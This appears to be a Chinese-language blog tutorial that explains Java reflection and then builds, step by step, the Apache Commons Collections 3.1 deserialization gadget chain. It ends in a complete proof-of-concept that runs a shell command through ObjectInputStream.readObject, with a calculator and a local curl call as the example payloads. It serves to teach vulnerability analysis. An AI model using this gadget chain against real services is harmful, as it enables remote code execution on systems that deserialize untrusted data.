从零开始的JAVA反序列化(二)

从JAVA反射概念谈起

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
举一个例子

1
2
3
4
5
6
7
package com.xdsec;

public class Member {
public void show(String s){
System.out.println("hello " + s);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.xdsec;

import java.lang.reflect.Method;

public class Testm {
public static void main(String[] args) throws Exception {
//1.获取Class对象
Class stuClass = Class.forName("com.xdsec.Member");
//2.获取所有公有方法
System.out.println("获取所有公有方法");
stuClass.getMethods();
Method[] methodArray = stuClass.getMethods();
for (Method m : methodArray) {
System.out.println(m);
}

//通过反射调用Student下的show方法
Method m = stuClass.getMethod("show", String.class);
System.out.println(m);
//实例化一个Student对象
Object obj = stuClass.getConstructor().newInstance();
m.invoke(obj, "xdsec");
}
}

https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/java/Snipaste_2018-12-21_21-49-29.png
从上面代码能看出
m = stuClass.getMethod(“show”, String.class);//调用制定方法(所有包括私有的),需要传入两个参数,第一个是调用的方法名称,第二个是方法的形参类型,切记是类型(因为这里是字符串所以是string.class,同理如果是int就是int.class)。
System.out.println(m);
这里要注意一个小trick如果方法是private限定的,可以通过

1
m.setAccessible(true);

来解除私有限定
Object result = m.invoke(obj, “xdsec”);//需要两个参数,一个是要调用的对象(获取有反射),一个是实参

Apache-Commons-Collections反序列化漏洞

有了上面的知识我们来看一下Apache-Commons-Collections反序列化漏洞
漏洞环境直接通过Maven搭建,Commons-Collections版本低于3.2.1即可
pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.xdsec</groupId>
<artifactId>commons</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>

这个漏洞主要是由TransformedMap这个类是用来对Map进行某些变换用的,例如当我们修改Map中的某个值时,就会触发我们预先定义好的某些操作来对Map进行处理。
https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/java/Snipaste_2018-12-21_21-50-04.png

decorate函数是将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时需要做的操作;Transformer是一个接口,用来实现传入的接口的transform(Object input),如果修改了Map中的任意key或value,都会调用对应接口的transform方法去进行一些变换操作。

如果想要进行一系列的变换操作,可以通过定义一个ChainedTransformer接口来实现,只需要传入一个Transformer数组即可:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...)
};

Transformer chainedTransformer = new ChainedTransformer(transformers);
Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer);

CommonsCollections已经内置了许多常见的transformer,无需手工编写,我们主要关心一下我们需要利用到的ConstantTransformer和InvokerTransformer
ConstantTransformer
https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/java/Snipaste_2018-12-21_21-50-20.png
transform会返回传入的类
在Java中执行命令一般通过Runtime.getRuntime().exec(“command”)来执行命令,如果我们想在修改transformedMap时执行命令,就需要构造一个特殊的ChainedTransformer来反射出exec函数,(首先通过ConstantTransformer获得)我们来看一下ChainedTransformer.class中的transform方法
https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/java/Snipaste_2018-12-21_21-50-29.png
可以看到这个transform会将上一次的返回结果作为下一次的输入,相当于一个非严格意义上的递归。调用ChainedTransformer的transform方法是挨个调用Transformer数组里对象的transform方法。
所以第一步就是获取Runtime类的getRuntime方法

1
2
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),

InvokerTransformer
https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/java/Snipaste_2018-12-21_21-50-41.png
接下来就是通过InvokerTransformer来反射调用exec方法,参数是\cmd``,以此来获取到Runtime.getRuntime().exec()。InvokerTransformer接受三个参数,分别是调用方法的名称,参数类型,调用参数。所以第一个参数就应当为exec;而exec方法的签名为exec(String, Class…),我们实际用的时候也只传入了一个String,所以第二个参数应当写为new Class[] {String.class},第三个参数则为调用exec时候实际传入的参数,所以应当为new Object[] {“cmd”}就可以了
至此chain已经是这样的

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl localhost:7999"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

然而Runtime实例化对象是不允许序列化的,所以不能直接传入实例化的对象,所以需要在transforms这个列表逐个反射回调的时候进行实例化
所以我们可以构造如下payload

1
((Runtime)Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig")

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};

Transformer transformChain = new ChainedTransformer(transformers);

当运行如下代码即可弹出计算器

1
2
3
4
5
6
7
8
9
10
// 创建普通的Map
Map normalMap = new HashMap();
normalMap.put("xdsec", "web");

// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);

// 尝试修改TransformedMap中的一个值,成功执行命令
Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");

OK,现在我们已经获得了一个完整的poc,剩下的是找到一个可以进行重写了readObject方法的类并且调用了对map键值对修改操作,ysoserial中用的是BadAttributeValueExpException,我们先来看一下这个类的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package javax.management;

import java.io.IOException;
import java.io.ObjectInputStream;

public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;

/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;

/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}


/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}}

注意这里重写了readObject方法,如果我们传入的valObj为map类型,则会调用该map对象的tostring()方法,这看似不能对map键值进行修改,然而在java中存在一个TiedMapEntry类,该类的作用是将一个map对象与一个key进行绑定,他有一个toString()方法

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

他会调用getValue()方法,我们再来看一下getValue()方法

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

他会调用一个map对象的get方法,按理说调用一个map对象的get方法并不会修改键值对,也就不会产生这个问题,但是java中还有一个类叫做LazyMap,我们来看看他的get方法
https://pupiles-1253357925.cos.ap-chengdu.myqcloud.com/java/Snipaste_2018-12-21_21-50-55.png
也就是说他会尝试访问key的value如果key存在就返回value,key如果不存在就会把值put进去。那么ok,我们修改键值对的操作产生了,至此exp打通了。
我们再来理一理过程

1
2
3
创建一个lazyMap对象map1,并通过decorate方法设transfomer时的transformChain
通过TiedMapEntry创建一个将map1与一个不存在的key进行绑定的对象map2
创建一个BadAttributeValueExpException对象map3,并将map2赋值给map3的val

要注意这里BadAttributeValueExpException中的val是私有属性,我们不能直接通过map3.val=map2进行赋值,需要通过上文我提到过的一种方法赋值

1
2
3
4
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();

//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("poc.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
ois.readObject();
ois.close();

}
}

参考链接
https://www.freebuf.com/vuls/175252.html
https://p0sec.net/index.php/archives/121/